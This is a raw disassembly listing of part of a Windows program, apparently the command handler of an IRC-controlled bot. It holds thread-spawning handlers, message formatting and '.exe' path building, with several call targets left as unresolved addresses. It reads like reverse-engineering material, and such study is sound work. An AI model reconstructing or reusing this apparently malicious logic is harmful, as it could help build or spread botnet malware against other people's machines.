		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43DCB0[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43DEC8
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"


loc_407A35:				; CODE XREF: sub_401ACD+5E8Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_407A62:				; CODE XREF: sub_401ACD+4ED1j
					; sub_401ACD+4EE8j
		push	[ebp+arg_10]
		call	dword_4CAFB4
		push	edi
		mov	[ebp+var_680], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41B5F0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A3D8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset dword_40C668
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407B44


loc_407B2E:				; CODE XREF: sub_401ACD+6075j
		cmp	[ebp+var_670], ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_407B2E
; ---------------------------------------------------------------------------


loc_407B44:				; CODE XREF: sub_401ACD+605Fj
		nop
		call	near ptr 26709FBh
		push	eax
		push	offset unk_42A4CC
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_407B55:				; CODE XREF: sub_401ACD+4EA3j
					; sub_401ACD+4EBAj
		push	[ebp+arg_10]
		call	sub_41B779
		mov	[ebp+var_112C],	eax
		push	7Fh
		lea	eax, [ebp+var_1230]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1130],	eax
		lea	eax, [ebp+var_11B0]
		push	[ebp+var_88]
		mov	[ebp+var_1238],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_111C],	eax
		push	[ebp+var_1130]
		lea	eax, [ebp+var_1230]
		mov	[ebp+var_1120],	edi
		push	eax
		push	[ebp+var_112C]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A39C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_1128],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1238]
		push	ebx
		push	eax
		push	offset loc_4103AA
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_1128]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407C41


loc_407C2B:				; CODE XREF: sub_401ACD+6172j
		cmp	[ebp+var_1118],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_407C2B
; ---------------------------------------------------------------------------


loc_407C41:				; CODE XREF: sub_401ACD+615Cj
		call	near ptr 26709FBh
		nop
		push	eax
		push	offset unk_42A358
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_407C52:				; CODE XREF: sub_401ACD+4E75j
					; sub_401ACD+4E8Cj
		push	0FFh
		lea	eax, [ebp+var_2878]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	0FFh
		lea	eax, [ebp+var_2778]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		mov	[ebp+var_2674],	ebx
		call	sub_41B779
		mov	[ebp+var_2670],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407CAB
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_2668],	eax
		jmp	short loc_407CB1
; ---------------------------------------------------------------------------


loc_407CAB:				; CODE XREF: sub_401ACD+61C8j
		mov	[ebp+var_2668],	ebx


loc_407CB1:				; CODE XREF: sub_401ACD+61DCj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407CC8
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_266C],	eax
		jmp	short loc_407CCE
; ---------------------------------------------------------------------------


loc_407CC8:				; CODE XREF: sub_401ACD+61EAj
		mov	[ebp+var_266C],	ebx


loc_407CCE:				; CODE XREF: sub_401ACD+61F9j
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_28F8]
		mov	[ebp+var_28FC],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_265C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2660],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A32C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2678],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_28FC]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_2678]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407D7F


loc_407D69:				; CODE XREF: sub_401ACD+62B0j
		cmp	[ebp+var_2658],	ebx
		jnz	loc_407278
		push	32h
		call	near ptr 2660F2Bh
		nop
		jmp	short loc_407D69
; ---------------------------------------------------------------------------


loc_407D7F:				; CODE XREF: sub_401ACD+629Aj
		nop
		call	near ptr 26709FBh
		push	eax
		push	offset unk_42A2EC
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_407D90:				; CODE XREF: sub_401ACD+4E47j
					; sub_401ACD+4E5Ej
		push	7Fh
		lea	eax, [ebp+var_3490]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3410]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3390]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3310]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_328C],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3288],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3494],	esi
		push	[ebp+arg_10]
		push	offset unk_42A2B0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3290],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3494]
		push	ebx
		push	eax
		push	offset byte_414A91
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_3290]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407E67


loc_407E51:				; CODE XREF: sub_401ACD+6398j
		cmp	[ebp+var_3284],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_407E51
; ---------------------------------------------------------------------------


loc_407E67:				; CODE XREF: sub_401ACD+6382j
		call	near ptr 26709FBh
		nop
		push	eax
		push	offset unk_42A278
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_407E78:				; CODE XREF: sub_401ACD+4D1Aj
					; sub_401ACD+4D31j
		push	7Fh
		lea	eax, [ebp+var_3068]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2FE8]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2F68]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2EE8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_306C],	esi
		push	[ebp+arg_10]
		push	offset unk_42A248
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_2E68],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_306C]
		push	ebx
		push	eax
		push	offset dword_4137CC
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_2E68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407F4F


loc_407F39:				; CODE XREF: sub_401ACD+6480j
		cmp	[ebp+var_2E5C],	ebx
		jnz	loc_407278
		push	32h
		call	near ptr 2660F2Bh
		nop
		jmp	short loc_407F39
; ---------------------------------------------------------------------------


loc_407F4F:				; CODE XREF: sub_401ACD+646Aj
		nop
		call	near ptr 26709FBh
		push	eax
		push	offset unk_42A210
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_407F60:				; CODE XREF: sub_401ACD+4BF1j
					; sub_401ACD+4C08j ...
		push	7Fh
		lea	eax, [ebp+var_3CE4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3C64]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3BE4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3B64]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		push	20h
		lea	eax, [ebp+var_3AE4]
		push	[ebp+arg_8]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3CEC],	esi
		push	[ebp+arg_10]
		push	offset unk_42A1E0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CE8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CEC]
		push	ebx
		push	eax
		push	offset byte_412A53
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_3CE8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_408048


loc_408032:				; CODE XREF: sub_401ACD+6579j
		cmp	[ebp+var_3A5C],	ebx
		jnz	loc_407278
		push	32h
		call	near ptr 2660F2Bh
		nop
		jmp	short loc_408032
; ---------------------------------------------------------------------------


loc_408048:				; CODE XREF: sub_401ACD+6563j
		call	near ptr 26709FBh
		nop
		push	eax
		push	offset unk_42A1A8
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_408059:				; CODE XREF: sub_401ACD+4BC3j
					; sub_401ACD+4BDAj
		push	7Fh
		lea	eax, [ebp+var_1778]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	3Fh
		mov	[ebp+var_1628],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16F8]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4080A4
		push	3Fh
		lea	eax, [ebp+var_16B8]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4080A4:				; CODE XREF: sub_401ACD+65C3j
		lea	eax, [ebp+var_16F8]
		mov	[ebp+var_1624],	1
		push	eax
		lea	eax, [ebp+var_1778]
		push	[ebp+var_1628]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A178
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1620],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_177C]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_1620]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_408130


loc_40811A:				; CODE XREF: sub_401ACD+6661j
		cmp	[ebp+var_161C],	ebx
		jnz	loc_406CDE
		push	32h
		call	near ptr 2660F2Bh
		nop
		jmp	short loc_40811A
; ---------------------------------------------------------------------------


loc_408130:				; CODE XREF: sub_401ACD+664Bj
		nop
		call	near ptr 26709FBh
		push	eax
		push	offset dword_42A13C
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_408141:				; CODE XREF: sub_401ACD+4B83j
					; sub_401ACD+4B9Aj
		push	edi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D64],	eax
		jle	loc_408234
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1EEC]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF0],	eax
		lea	eax, [ebp+var_1DEC]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D5C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1D58],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A110
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1D6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF0]
		push	ebx
		push	eax
		push	offset byte_412E9D
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_1D6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_408223


loc_408211:				; CODE XREF: sub_401ACD+6754j
		cmp	[ebp+var_1D54],	ebx
		jnz	short loc_40828B
		push	32h
		call	near ptr 2660F2Bh
		nop
		jmp	short loc_408211
; ---------------------------------------------------------------------------


loc_408223:				; CODE XREF: sub_401ACD+6742j
		nop
		call	near ptr 26709FBh
		push	eax
		push	offset unk_42A0D8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_408234:				; CODE XREF: sub_401ACD+6683j
		push	offset unk_42A0A0
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_40823E:				; CODE XREF: sub_401ACD+4B55j
					; sub_401ACD+4B6Cj
		push	edi
		push	[ebp+arg_10]
		call	near ptr 2690D75h
		nop
		test	eax, eax
		jz	short loc_40826B
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset unk_42A07C
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40828B
; ---------------------------------------------------------------------------


loc_40826B:				; CODE XREF: sub_401ACD+677Dj
		push	offset dword_42A070
		call	sub_41814C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980


loc_408288:				; CODE XREF: sub_401ACD+2F2Aj
					; sub_401ACD+556Fj
		add	esp, 0Ch


loc_40828B:				; CODE XREF: sub_401ACD+2136j
					; sub_401ACD+2ECCj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4082A8:				; CODE XREF: sub_401ACD+57C6j
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------


loc_4082B5:				; CODE XREF: sub_401ACD+4B27j
					; sub_401ACD+4B3Ej
		push	[ebp+arg_10]
		lea	eax, [ebp+var_3F04]
		push	104h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4082EF
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4082EF
		push	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4082EF:				; CODE XREF: sub_401ACD+6802j
					; sub_401ACD+6811j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F84]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F88],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CF8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF4],	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		lea	eax, [ebp+var_3F04]
		push	eax
		push	offset unk_42A040
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CFC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F88]
		push	ebx
		push	eax
		push	offset byte_416CAD
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_3CFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4083A1


loc_40838F:				; CODE XREF: sub_401ACD+68D2j
		cmp	[ebp+var_3CF0],	ebx
		jnz	short loc_4083BC
		push	32h
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_40838F
; ---------------------------------------------------------------------------


loc_4083A1:				; CODE XREF: sub_401ACD+68C0j
		nop
		call	near ptr 26709FBh
		push	eax
		push	offset unk_42A004


loc_4083AD:				; CODE XREF: sub_401ACD+925j
					; sub_401ACD+A63j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_4083BC:				; CODE XREF: sub_401ACD+7E1j
					; sub_401ACD+94Cj ...
		push	1
		pop	esi
		jmp	loc_406D02
; ---------------------------------------------------------------------------


loc_4083C4:				; CODE XREF: sub_401ACD+4AF9j
					; sub_401ACD+4B10j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	[ebp+arg_10]
		mov	[ebp+var_63C], esi
		call	sub_41B779
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408403
		mov	[ebp+var_638], 5


loc_408403:				; CODE XREF: sub_401ACD+692Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406CDE
		lea	eax, [ebp+var_E10]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 2650A41h
		test	eax, eax
		jnz	short loc_40844C
		push	offset unk_429FE0
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40844C:				; CODE XREF: sub_401ACD+6973j
		push	edi
		push	offset dword_429FC4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_408457:				; CODE XREF: sub_401ACD+4ACBj
					; sub_401ACD+4AE2j
		push	edi
		push	offset aDark	; "Dark"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085D0
		lea	eax, [ebp+var_48F0]
		push	eax
		push	104h
		call	near ptr 2690000h
		nop
		push	0FFh
		lea	eax, [ebp+var_25D0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_17D0]
		push	eax
		call	sub_40AD80
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_24D0]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23CC],	1
		mov	[ebp+var_23C8],	ebx
		jz	short loc_4084EC
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_23C0],	eax
		jmp	short loc_4084F2
; ---------------------------------------------------------------------------


loc_4084EC:				; CODE XREF: sub_401ACD+6A09j
		mov	[ebp+var_23C0],	ebx


loc_4084F2:				; CODE XREF: sub_401ACD+6A1Dj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_408509
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_23C4],	eax
		jmp	short loc_40850F
; ---------------------------------------------------------------------------


loc_408509:				; CODE XREF: sub_401ACD+6A2Bj
		mov	[ebp+var_23C4],	ebx


loc_40850F:				; CODE XREF: sub_401ACD+6A3Aj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2650]
		mov	[ebp+var_2654],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B4],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_23B8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429F8C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_23D0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2654]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_23D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4085BF


loc_4085A9:				; CODE XREF: sub_401ACD+6AF0j
		cmp	[ebp+var_23B0],	ebx
		jnz	loc_406CDE
		push	32h
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_4085A9
; ---------------------------------------------------------------------------


loc_4085BF:				; CODE XREF: sub_401ACD+6ADAj
		call	near ptr 26709FBh
		nop
		push	eax
		push	offset dword_429F50
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4085D0:				; CODE XREF: sub_401ACD+6999j
		push	offset dword_429F08


loc_4085D5:				; CODE XREF: sub_401ACD+2E73j
					; sub_401ACD+457Cj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_406CDE
; ---------------------------------------------------------------------------


loc_4085E8:				; CODE XREF: sub_401ACD+4A9Dj
					; sub_401ACD+4AB4j
		push	[ebp+var_8C]
		push	offset dword_42C938
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429EF8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 28h
		test	eax, eax
		jle	short loc_408673
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 2660F2Bh


loc_408673:				; CODE XREF: sub_401ACD+6B8Ej
		push	offset dword_429EE4
		call	sub_4151AC
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408687:				; CODE XREF: sub_401ACD+4A6Fj
					; sub_401ACD+4A86j
		push	[ebp+var_8C]
		push	offset dword_42C938
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408745
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429EF8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_429ECC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408745:				; CODE XREF: sub_401ACD+6BFAj
		push	offset unk_429E98


loc_40874A:				; CODE XREF: sub_401ACD+7542j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408759:				; CODE XREF: sub_401ACD+74CAj
					; sub_401ACD+7623j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40877A
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_40877A:				; CODE XREF: sub_401ACD+6C8Fj
					; sub_401ACD+72C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_409853
; ---------------------------------------------------------------------------


loc_40878B:				; CODE XREF: sub_401ACD+4A41j
					; sub_401ACD+4A58j
		push	7Fh
		lea	eax, [ebp+var_2214]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2194]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2114]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2090],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_208C],	eax
